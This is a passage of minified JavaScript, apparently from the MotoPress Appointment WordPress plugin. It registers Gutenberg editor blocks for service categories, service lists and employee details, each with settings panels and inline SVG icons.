order\",\"motopress-appointment\")},{value:\"name\",label:s.__(\"Term name\",\"motopress-appointment\")},{value:\"slug\",label:s.__(\"Term slug\",\"motopress-appointment\")},{value:\"term_id\",label:s.__(\"Term ID\",\"motopress-appointment\")},{value:\"parent\",label:s.__(\"Parent ID\",\"motopress-appointment\")},{value:\"count\",label:s.__(\"Number of associated objects\",\"motopress-appointment\")},{value:\"include\",label:s.__('Keep the order of \"IDs\" parameter',\"motopress-appointment\")},{value:\"term_order\",label:s.__(\"Term order\",\"motopress-appointment\")},{value:\"service_category_order\",label:s.__(\"Page order\",\"motopress-appointment\")}]}),\"none\"!==c&&wp.element.createElement(Gt,{label:s.__(\"Order\",\"motopress-appointment\"),value:void 0!==h?h:\"desc\",onChange:e=>d({order:e}),options:[{value:\"desc\",label:s.__(\"DESC\",\"motopress-appointment\")},{value:\"asc\",label:s.__(\"ASC\",\"motopress-appointment\")}]}))))]}};const{serverSideRender:es}=wp,{Component:ts,Fragment:ss}=wp.element,{Disabled:is}=wp.components;const{registerBlockType:ns}=wp.blocks;ns(\"motopress-appointment\u002Fservice-categories\",{title:s.__(\"Service Categories\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"path\",{d:\"M7.17,2l1.41,1.41L9.17,4H10h12v18H2V2H7.17 M8,0H0v2v22h24V2H10L8,0L8,0z\"}),wp.element.createElement(\"path\",{d:\"M17.59,14.18l-1.02-0.8c0.01-0.11,0.02-0.24,0.02-0.38s-0.01-0.27-0.02-0.38l1.02-0.8c0.26-0.21,0.32-0.57,0.16-0.85\\r l-1.12-1.92c-0.16-0.29-0.51-0.41-0.82-0.3l-1.2,0.48c-0.21-0.15-0.43-0.27-0.65-0.38l-0.18-1.28C13.73,7.24,13.45,7,13.12,7h-2.25\\r c-0.33,0-0.61,0.24-0.65,0.56l-0.18,1.28C9.81,8.95,9.59,9.08,9.38,9.22l-1.2-0.48c-0.31-0.12-0.65,0-0.81,0.29l-1.13,1.94\\r c-0.16,0.28-0.09,0.65,0.16,0.85l1.02,0.8C7.41,12.76,7.41,12.88,7.41,13s0,0.24,0.02,0.38l-1.03,0.8\\r c-0.25,0.21-0.32,0.57-0.16,0.85l1.12,1.92c0.16,0.29,0.51,0.41,0.82,0.29l1.2-0.48c0.21,0.15,0.43,0.27,0.65,0.38l0.18,1.28\\r c0.04,0.33,0.32,0.57,0.65,0.57h2.25c0.33,0,0.61-0.24,0.65-0.56l0.18-1.28c0.23-0.11,0.45-0.24,0.65-0.38l1.21,0.48\\r c0.31,0.12,0.65,0,0.81-0.29l1.13-1.95C17.92,14.73,17.85,14.38,17.59,14.18z M12,15.5c-1.38,0-2.5-1.12-2.5-2.5s1.12-2.5,2.5-2.5\\r s2.5,1.12,2.5,2.5S13.38,15.5,12,15.5z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:\"boolean\",default:!0},show_count:{type:\"boolean\",default:!0},show_description:{type:\"boolean\",default:!0},parent:{type:\"string\",default:\"\"},categories:{type:\"string\",default:\"\"},exclude_categories:{type:\"string\",default:\"\"},hide_empty:{type:\"boolean\",default:!0},depth:{type:\"number\",default:3},number:{type:\"number\",default:3},columns_count:{type:\"number\",default:3},orderby:{type:\"string\",default:\"none\"},order:{type:\"string\",default:\"desc\"}},edit:class extends ts{constructor(){super(...arguments)}render(){return wp.element.createElement(ss,null,wp.element.createElement(Xt,this.props),wp.element.createElement(is,null,wp.element.createElement(es,{block:\"motopress-appointment\u002Fservice-categories\",attributes:this.props.attributes})))}},save:()=>null});const{Component:as,Fragment:os}=wp.element,{SelectControl:rs,PanelBody:ls,TextControl:ps,ToggleControl:ms,RangeControl:cs}=wp.components,{InspectorControls:hs}=wp.blockEditor||wp.editor;let ds=class extends as{render(){const{show_image:e,show_title:t,show_excerpt:i,show_price:n,show_duration:a,show_capacity:o,show_employees:r,services:l,employees:p,categories:m,tags:c,posts_per_page:h,columns_count:d,orderby:u,order:g}=this.props.attributes,{setAttributes:y}=this.props;return[wp.element.createElement(hs,{key:\"inspector\"},wp.element.createElement(os,null,wp.element.createElement(ls,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(ms,{label:s.__(\"Show featured image.\",\"motopress-appointment\"),checked:e,onChange:e=>{y({show_image:e})}}),wp.element.createElement(ms,{label:s.__(\"Show post title.\",\"motopress-appointment\"),checked:t,onChange:e=>{y({show_title:e})}}),wp.element.createElement(ms,{label:s.__(\"Show post excerpt.\",\"motopress-appointment\"),checked:i,onChange:e=>{y({show_excerpt:e})}}),wp.element.createElement(ms,{label:s.__(\"Show service price.\",\"motopress-appointment\"),checked:n,onChange:e=>{y({show_price:e})}}),wp.element.createElement(ms,{label:s.__(\"Show service duration.\",\"motopress-appointment\"),checked:a,onChange:e=>{y({show_duration:e})}}),wp.element.createElement(ms,{label:s.__(\"Show service capacity.\",\"motopress-appointment\"),checked:o,onChange:e=>{y({show_capacity:e})}}),wp.element.createElement(ms,{label:s.__(\"Show service employees.\",\"motopress-appointment\"),checked:r,onChange:e=>{y({show_employees:e})}}),wp.element.createElement(ps,{label:s.__(\"Services\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of services that will be shown.\",\"motopress-appointment\"),value:l,onChange:e=>{y({services:e})}}),wp.element.createElement(ps,{label:s.__(\"Employees\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of employees that perform these services.\",\"motopress-appointment\"),value:p,onChange:e=>{y({employees:e})}}),wp.element.createElement(ps,{label:s.__(\"Categories\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of categories that will be shown.\",\"motopress-appointment\"),value:m,onChange:e=>{y({categories:e})}}),wp.element.createElement(ps,{label:s.__(\"Tags\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of tags that will be shown.\",\"motopress-appointment\"),value:c,onChange:e=>{y({tags:e})}}),wp.element.createElement(cs,{label:s.__(\"Posts Per Page\",\"motopress-appointment\"),value:h,onChange:e=>y({posts_per_page:e}),min:-1,max:100,placeholder:\"0\"}),wp.element.createElement(cs,{label:s.__(\"Columns Count\",\"motopress-appointment\"),help:s.__(\"The number of columns in the grid.\",\"motopress-appointment\"),value:d,onChange:e=>y({columns_count:e}),min:0,max:100,placeholder:\"0\"}),wp.element.createElement(rs,{label:s.__(\"Order By\",\"motopress-appointment\"),value:void 0!==u?u:\"none\",onChange:e=>y({orderby:e}),options:[{value:\"none\",label:s.__(\"No order\",\"motopress-appointment\")},{value:\"ID\",label:s.__(\"Post ID\",\"motopress-appointment\")},{value:\"author\",label:s.__(\"Post author\",\"motopress-appointment\")},{value:\"title\",label:s.__(\"Post title\",\"motopress-appointment\")},{value:\"name\",label:s.__(\"Post name (post slug)\",\"motopress-appointment\")},{value:\"date\",label:s.__(\"Post date\",\"motopress-appointment\")},{value:\"modified\",label:s.__(\"Last modified date\",\"motopress-appointment\")},{value:\"rand\",label:s.__(\"Random order\",\"motopress-appointment\")},{value:\"relevance\",label:s.__(\"Relevance\",\"motopress-appointment\")},{value:\"menu_order\",label:s.__(\"Page order\",\"motopress-appointment\")},{value:\"menu_order title\",label:s.__(\"Page order and post title\",\"motopress-appointment\")},{value:\"price\",label:s.__(\"Price\",\"motopress-appointment\")}]}),\"none\"!==u&&wp.element.createElement(rs,{label:s.__(\"Order\",\"motopress-appointment\"),value:void 0!==g?g:\"desc\",onChange:e=>y({order:e}),options:[{value:\"desc\",label:s.__(\"DESC\",\"motopress-appointment\")},{value:\"asc\",label:s.__(\"ASC\",\"motopress-appointment\")}]}))))]}};const{serverSideRender:us}=wp,{Component:gs,Fragment:ys}=wp.element,{Disabled:bs}=wp.components;const{registerBlockType:_s}=wp.blocks;_s(\"motopress-appointment\u002Fservices-list\",{title:s.__(\"Services List\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M17.59,7.18l-1.02-0.8c0.01-0.11,0.02-0.24,0.02-0.38s-0.01-0.27-0.02-0.38l1.02-0.8c0.26-0.21,0.32-0.57,0.16-0.85\\r l-1.12-1.92c-0.16-0.29-0.51-0.41-0.82-0.3l-1.2,0.48c-0.21-0.15-0.43-0.27-0.65-0.38l-0.18-1.28C13.73,0.24,13.45,0,13.12,0h-2.25\\r c-0.33,0-0.61,0.24-0.65,0.56l-0.18,1.28C9.81,1.95,9.59,2.08,9.38,2.22l-1.2-0.48c-0.31-0.12-0.65,0-0.81,0.29L6.24,3.97\\r C6.08,4.25,6.15,4.62,6.4,4.82l1.02,0.8C7.41,5.76,7.41,5.88,7.41,6s0,0.24,0.02,0.38L6.4,7.18C6.15,7.39,6.08,7.75,6.24,8.03\\r l1.12,1.92c0.16,0.29,0.51,0.41,0.82,0.29l1.2-0.48c0.21,0.15,0.43,0.27,0.65,0.38l0.18,1.28c0.04,0.33,0.32,0.57,0.65,0.57h2.25\\r c0.33,0,0.61-0.24,0.65-0.56l0.18-1.28c0.23-0.11,0.45-0.24,0.65-0.38l1.21,0.48c0.31,0.12,0.65,0,0.81-0.29l1.13-1.95\\r C17.92,7.73,17.85,7.38,17.59,7.18z M12,8.5c-1.38,0-2.5-1.12-2.5-2.5s1.12-2.5,2.5-2.5s2.5,1.12,2.5,2.5S13.38,8.5,12,8.5z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:\"boolean\",default:!0},show_title:{type:\"boolean\",default:!0},show_excerpt:{type:\"boolean\",default:!0},show_price:{type:\"boolean\",default:!0},show_duration:{type:\"boolean\",default:!0},show_capacity:{type:\"boolean\",default:!0},show_employees:{type:\"boolean\",default:!0},services:{type:\"string\",default:\"\"},employees:{type:\"string\",default:\"\"},categories:{type:\"string\",default:\"\"},tags:{type:\"string\",default:\"\"},posts_per_page:{type:\"number\",default:3},columns_count:{type:\"number\",default:3},orderby:{type:\"string\",default:\"none\"},order:{type:\"string\",default:\"desc\"}},edit:class extends gs{constructor(){super(...arguments)}render(){return wp.element.createElement(ys,null,wp.element.createElement(ds,this.props),wp.element.createElement(bs,null,wp.element.createElement(us,{block:\"motopress-appointment\u002Fservices-list\",attributes:this.props.attributes})))}},save:()=>null});const{Component:vs,Fragment:fs}=wp.element,{PanelBody:ws,TextControl:Cs}=wp.components,{InspectorControls:Ss}=wp.blockEditor||wp.editor;let Es=class extends vs{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Ss,{key:\"inspector\"},wp.element.createElement(fs,null,wp.element.createElement(ws,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Cs,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:ks}=wp,{Component:Ps,Fragment:Is}=wp.element,{Disabled:Ts}=wp.components;const{registerBlockType:$s}=wp.blocks;$s(\"motopress-appointment\u002Femployee-image\",{title:s.__(\"Employee Image\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends Ps{constructor(e){super(...arguments)}render(){return wp.element.createElement(Is,null,wp.element.createElement(Es,this.props),wp.element.createElement(Ts,null,wp.element.createElement(ks,{block:\"motopress-appointment\u002Femployee-image\",attributes:this.props.attributes})))}},save:()=>null});const{Component:Ds,Fragment:xs}=wp.element,{PanelBody:Ms,TextControl:As}=wp.components,{InspectorControls:Bs}=wp.blockEditor||wp.editor;let Ls=class extends Ds{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Bs,{key:\"inspector\"},wp.element.createElement(xs,null,wp.element.createElement(Ms,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(As,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Fs}=wp,{Component:Rs,Fragment:Os}=wp.element,{Disabled:Ns}=wp.components;const{registerBlockType:Hs}=wp.blocks;Hs(\"motopress-appointment\u002Femployee-title\",{title:s.__(\"Employee Title\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends Rs{constructor(e){super(...arguments)}render(){return wp.element.createElement(Os,null,wp.element.createElement(Ls,this.props),wp.element.createElement(Ns,null,wp.element.createElement(Fs,{block:\"motopress-appointment\u002Femployee-title\",attributes:this.props.attributes})))}},save:()=>null});const{Component:Vs,Fragment:zs}=wp.element,{PanelBody:qs,TextControl:Us}=wp.components,{InspectorControls:js}=wp.blockEditor||wp.editor;let Ws=class extends Vs{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(js,{key:\"inspector\"},wp.element.createElement(zs,null,wp.element.createElement(qs,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Us,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Gs}=wp,{Component:Ys,Fragment:Qs}=wp.element,{Disabled:Ks}=wp.components;const{registerBlockType:Zs}=wp.blocks;Zs(\"motopress-appointment\u002Femployee-services-list\",{title:s.__(\"Employee Services List\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends Ys{constructor(e){super(...arguments)}render(){return wp.element.createElement(Qs,null,wp.element.createElement(Ws,this.props),wp.element.createElement(Ks,null,wp.element.createElement(Gs,{block:\"motopress-appointment\u002Femployee-services-list\",attributes:this.props.attributes})))}},save:()=>null});const{Component:Js,Fragment:Xs}=wp.element,{PanelBody:ei,TextControl:ti}=wp.components,{InspectorControls:si}=wp.blockEditor||wp.editor;let ii=class extends Js{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(si,{key:\"inspector\"},wp.element.createElement(Xs,null,wp.element.createElement(ei,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(ti,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:ni}=wp,{Component:ai,Fragment:oi}=wp.element,{Disabled:ri}=wp.components;const{registerBlockType:li}=wp.blocks;li(\"motopress-appointment\u002Femployee-schedule\",{title:s.__(\"Employee Schedule\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends ai{constructor(e){super(...arguments)}render(){return wp.element.createElement(oi,null,wp.element.createElement(ii,this.props),wp.element.createElement(ri,null,wp.element.createElement(ni,{block:\"motopress-appointment\u002Femployee-schedule\",attributes:this.props.attributes})))}},save:()=>null});const{Component:pi,Fragment:mi}=wp.element,{PanelBody:ci,TextControl:hi}=wp.components,{InspectorControls:di}=wp.blockEditor||wp.editor;let ui=class extends pi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(di,{key:\"inspector\"},wp.element.createElement(mi,null,wp.element.createElement(ci,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(hi,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:gi}=wp,{Component:yi,Fragment:bi}=wp.element,{Disabled:_i}=wp.components;const{registerBlockType:vi}=wp.blocks;vi(\"motopress-appointment\u002Femployee-content\",{title:s.__(\"Employee Content\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends yi{constructor(e){super(...arguments)}render(){return wp.element.createElement(bi,null,wp.element.createElement(ui,this.props),wp.element.createElement(_i,null,wp.element.createElement(gi,{block:\"motopress-appointment\u002Femployee-content\",attributes:this.props.attributes})))}},save:()=>null});const{Component:fi,Fragment:wi}=wp.element,{PanelBody:Ci,TextControl:Si}=wp.components,{InspectorControls:Ei}=wp.blockEditor||wp.editor;let ki=class extends fi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Ei,{key:\"inspector\"},wp.element.createElement(wi,null,wp.element.createElement(Ci,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Si,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Pi}=wp,{Component:Ii,Fragment:Ti}=wp.element,{Disabled:$i}=wp.components;const{registerBlockType:Di}=wp.blocks;Di(\"motopress-appointment\u002Femployee-contacts\",{title:s.__(\"Employee Contact Information\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends Ii{constructor(e){super(...arguments)}render(){return wp.element.createElement(Ti,null,wp.element.createElement(ki,this.props),wp.element.createElement($i,null,wp.element.createElement(Pi,{block:\"motopress-appointment\u002Femployee-contacts\",attributes:this.props.attributes})))}},save:()=>null});const{Component:xi,Fragment:Mi}=wp.element,{PanelBody:Ai,TextControl:Bi}=wp.components,{InspectorControls:Li}=wp.blockEditor||wp.editor;let Fi=class extends xi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Li,{key:\"inspector\"},wp.element.createElement(Mi,null,wp.element.createElement(Ai,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Bi,{label:s.__(\"ID\",\"motopress-appointment\"),help:s.__(\"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\",\"motopress-appointment\"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Ri}=wp,{Component:Oi,Fragment:Ni}=wp.element,{Disabled:Hi}=wp.components;const{registerBlockType:Vi}=wp.blocks;Vi(\"motopress-appointment\u002Femployee-social-networks\",{title:s.__(\"Employee Social Networks\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:\"string\",default:\"\"}},edit:class extends Oi{constructor(e){super(...arguments)}render(){return 